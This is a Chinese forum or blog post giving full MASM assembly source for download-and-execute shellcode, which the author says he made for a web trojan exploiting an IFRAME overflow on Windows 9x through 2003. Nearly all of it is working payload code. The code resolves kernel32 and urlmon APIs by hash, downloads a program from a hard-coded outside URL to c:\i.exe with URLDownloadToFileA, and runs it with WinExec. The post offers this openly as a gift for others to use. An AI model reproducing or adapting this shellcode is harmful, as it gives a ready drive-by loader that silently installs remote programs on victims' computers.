作者:冰狐浪子 文章来源:冰狐浪子
网上关于可以溢出之后下载程序的shellcode不少,但基本上都是用于win2000 xp 2003等,可以用于win9x的我一时没有找到,因为要做这
个网页木马,就索性自己找代码和文章看了下,用了近两天的时间终于写了个可以运行于win98、winme、win2000、winxp以及win2003 server
的代码。希望对大家喜欢!算是给大家的新年礼物吧!希望大家以后多多来我的小站凑个热闹!
代码如下:- .386
- .model flat, stdcall
- option casemap :none
- include windows.inc
- include kernel32.inc
- includelib kernel32.lib
- ;***********************************************************************
- debug equ 1 ;是否测试shellcode
- SEHorPEB equ 1 ;利用SEH[1]或PEB[0]获取 kernel32.dll 的基地址
- big equ 1 ;1=c:\i.exe 0=c:\i
- PrTh equ 1 ;结束进程ExitProcess[1]或线程ExitThread[0]
- Url equ db 'http://www.icyfoxlovelace.com/test.exe',0
- HASH_KEY equ 13 ; HASH位移量
- ;***********************************************************************
- ;制作:冰狐浪子[icyfoxlovelace]{ EST }
- ;主页:http://www.icyfoxlovelace.com
- ;Q Q: 76416026
- ;作用:下载运行并指定程序[为IFRAME溢出漏洞特别制作]
- .code
- ;=======================================================================
- ;所调用的Api
- ;=======================================================================
- ApiSum equ 4 ; 所有Api数量
- Api:
- ;kernel32 3
- db "LoadLibraryA",0 ; [esi]
- db "WinExec",0 ; [esi+4]
- IF PrTh
- db "ExitProcess",0 ; [esi+8]
- ELSE
- db "ExitThread",0 ; [esi+8]
- ENDIF
- ;urlmon 1
- db "URLDownloadToFileA",0 ; [esi+12]
- ; Api别名 call dword ptr pLoadLibraryA
- pLoadLibraryA equ [esi]
- pWinExec equ [esi+4]
- IF PrTh
- pExitProcess equ [esi+8]
- ELSE
- pExitThread equ [esi+8]
- ENDIF
- pURLDownloadToFileA equ [esi+12]
- ;=======================================================================
- SCFile db "ShellCode.txt",0
- SCFLen dd ?
- start:
- ;=======================================================================
- ;获取所需Api的hash值并保存
- ;=======================================================================
- hash_start:
- mov edi,offset ApiHash
- mov esi,offset Api
- mov ecx,ApiSum
- hash_next:
- xor eax, eax
- hash:
- movzx edx, byte ptr [esi]
- cmp dl, dh
- jz short save_addr
- ror eax, HASH_KEY ; hash key
- add eax, edx
- inc esi
- jmp short hash
- save_addr:
- stosd
- inc esi
- loop hash_next
- ;=======================================================================
- ;把shellcode写入文件
- ;=======================================================================
- invoke CreateFile,addr SCFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,\
- FILE_ATTRIBUTE_NORMAL or FILE_FLAG_WRITE_THROUGH, NULL
- mov ebx,eax
- push NULL
- push offset SCFLen
- push ShellCode_Length
- push offset ShellCodeStart
- push ebx
- call WriteFile
- ;invoke WriteFile,HSCFile,addr ShellCodeStart,SCFLen, addr SCFLen, NULL
- invoke CloseHandle,ebx
- IF debug
- jmp ShellCode ;测试ShellCode
- ENDIF
- invoke ExitProcess,0
- ;=======================================================================
- ;shellcode开始
- ;利用SEH获取 kernel32.dll 的基地址
- ;=======================================================================
- ShellCodeStart equ this byte
- ShellCode:
- ;cld;最好加上这句,以防万一
- assume fs:nothing
- IF SEHorPEB
- xor esi,esi
- lods dword ptr fs:[esi] ;4字节等同于6字节mov eax,fs:[0]
- ;此处省略mov eax,[eax],会使Search_Krnl32_lop循环增加一次,不影响实际应用
- Search_Krnl32_lop:
- inc eax
- je Krnl32_Base_Ok
- dec eax
- xchg esi,eax ; 等同于mov eax,[eax],但可以使下面的lodsd
- lodsd ; xchg ebp,eax比{ mov ebp,[eax+4] }少一个字节
- jmp Search_Krnl32_lop
- Krnl32_Base_Ok:
- lodsd
- xchg ebp,eax ;ebp=kernel32的UnhandledExceptionFilter地址
- find_pe_header:
- dec ebp ; 等同于ebp-010000h;sub ebp, 010000h
- xor bp,bp ; kernel32 is 64k align
- ; 不用1000h是因为dll文件加载一般以64k(10000)为界
- cmp word ptr [ebp],IMAGE_DOS_SIGNATURE ; "ZM"5A4Dh
- jne find_pe_header
- mov esi,ebp
- add esi, [ebp][IMAGE_DOS_HEADER.e_lfanew]
- cmp dword ptr [esi],IMAGE_NT_SIGNATURE ;"EP"00004550h;
- jne find_pe_header
- ELSE
- ;***********************************************************************
- ;通过peb取得kernel32.dll地址
- mov eax, fs:[30h] ;PEB
- mov eax, [eax+0ch] ;PROCESS_MODULE_INFO
- mov esi, [eax+1ch] ;InInitOrder.flink
- lodsd ;eax = InInitOrder.blink
- mov ebp, [eax+08h] ;ebp = kernel32.dll base address
- ;***********************************************************************
- ENDIF
- ;=======================================================================
- ;到这里ebp = kernel32.dll 的基地址
- ;=======================================================================
- jmp sc_end
- sc_start:
- pop edi ;Api 的 Hash 值的保存地址 (esp -> edi)
- mov esi, edi ;Api 的 Hash 值的保存地址 -> esi
-
- ;获取所需kernel32里Api的地址
- push 3
- pop ecx
- getkernel32:
- call GetProcAddress_fun
- loop getkernel32
- ;利用堆栈加载urlmon.dll
- push 00006e6fh ;0'no'
- push 'mlru' ;6d6c7275h urlmon
- push esp
- call dword ptr pLoadLibraryA ;LoadLibraryA("urlmon");
-
- mov ebp, eax ;ebp = urlmon.dll base address
-
- call GetProcAddress_fun ;获取urlmon.dll里的'URLDownloadToFileA'的地址
- ;现在edi=Url的地址
- IF big
- ;URLDownloadToFileA下载程序
- push 0
- push 'exe.' ;.exe;.bak 可以不要扩展名
- push 'i\:c' ;695c3a63h c:\i ;c:\i.exe
- mov ebx,esp
- xor eax, eax
- push eax
- push eax
- push ebx ;c:\i.exe
- push edi ;Url
- push eax
- call dword ptr pURLDownloadToFileA ;URLDownloadToFileA(Url,'c:\i.exe') 下载程序
- ELSE
- push 0
- push 'i\:c' ;695c3a63h c:\i
- mov ebx,esp
- xor ecx, ecx
- push ecx
- push ecx
- push ebx ;c:\i
- push edi ;Url
- push ecx
- call eax ;URLDownloadToFileA(Url,'c:\i') 下载程序
- ENDIF
- ;WinExec运行程序
- ;push eax ;去掉,利用堆栈里的代替
- push ebx
- call dword ptr pWinExec ;WinExec(c:\i.exe);
- IF PrTh
- ;结束进程ExitProcess
- ;push 0 ;去掉,利用堆栈里的代替
- call dword ptr pExitProcess
- ELSE
- ;结束线程ExitThread
- ;push 0 ;去掉,利用堆栈里的代替
- call dword ptr pExitThread
- ENDIF
- ;=======================================================================
- ;利用Hash得到Api地址
- ;ebp=DLL的基地址
- ;edi=Hash值地址和得到的Api的保存地址
- ;=======================================================================
- GetProcAddress_fun:
- push ecx
- push esi
- mov esi, [ebp+IMAGE_DOS_HEADER.e_lfanew] ;e_lfanew 0x3C
- mov esi, [esi+ebp+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory] ;导出表ExportDirectory RVA 0x78
- add esi, ebp ;RVA2VA
- push esi
- mov esi, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfNames] ;函数名地址表AddressOfNames RVA 0x20
- add esi, ebp ;RVA2VA
- xor ecx, ecx
- dec ecx
- find_start:
- inc ecx
- lodsd
- add eax, ebp
- xor ebx, ebx
- hash_loop:
- movzx edx, byte ptr [eax] ;movsx edx, byte ptr [eax]
- cmp dl, dh
- jz short find_addr
- ror ebx, HASH_KEY ;hash key
- add ebx, edx
- inc eax
- jmp short hash_loop
- find_addr:
- cmp ebx, [edi] ;比较hash值
- jnz short find_start
- pop esi ;ExportDirectory
- mov ebx, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] ;API输出序号表AddressOfNameOrdinals RVA 0x24
- add ebx, ebp ;RVA2VA
- movzx ecx, word ptr [ebx+ecx*2] ;ecx=找到的Api的输出序号;mov cx, [ebx+ecx*2]
- mov ebx, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ;API输出地址表AddressOfFunctions RVA 0x1C
- add ebx, ebp ;RVA2VA
- mov eax, [ebx+ecx*4] ;eax=Api入口地址的RVA
- add eax, ebp ;RVA2VA
- stosd ;Api入口地址保存到 [edi]
- pop esi
- pop ecx
- ret
- sc_end:
- call sc_start
- ;=======================================================================
- ApiHash dd ApiSum dup (?)
- Url
- ShellCodeEnd equ this byte
- ShellCode_Length equ offset ShellCodeEnd-offset ShellCodeStart
- end start
复制代码 |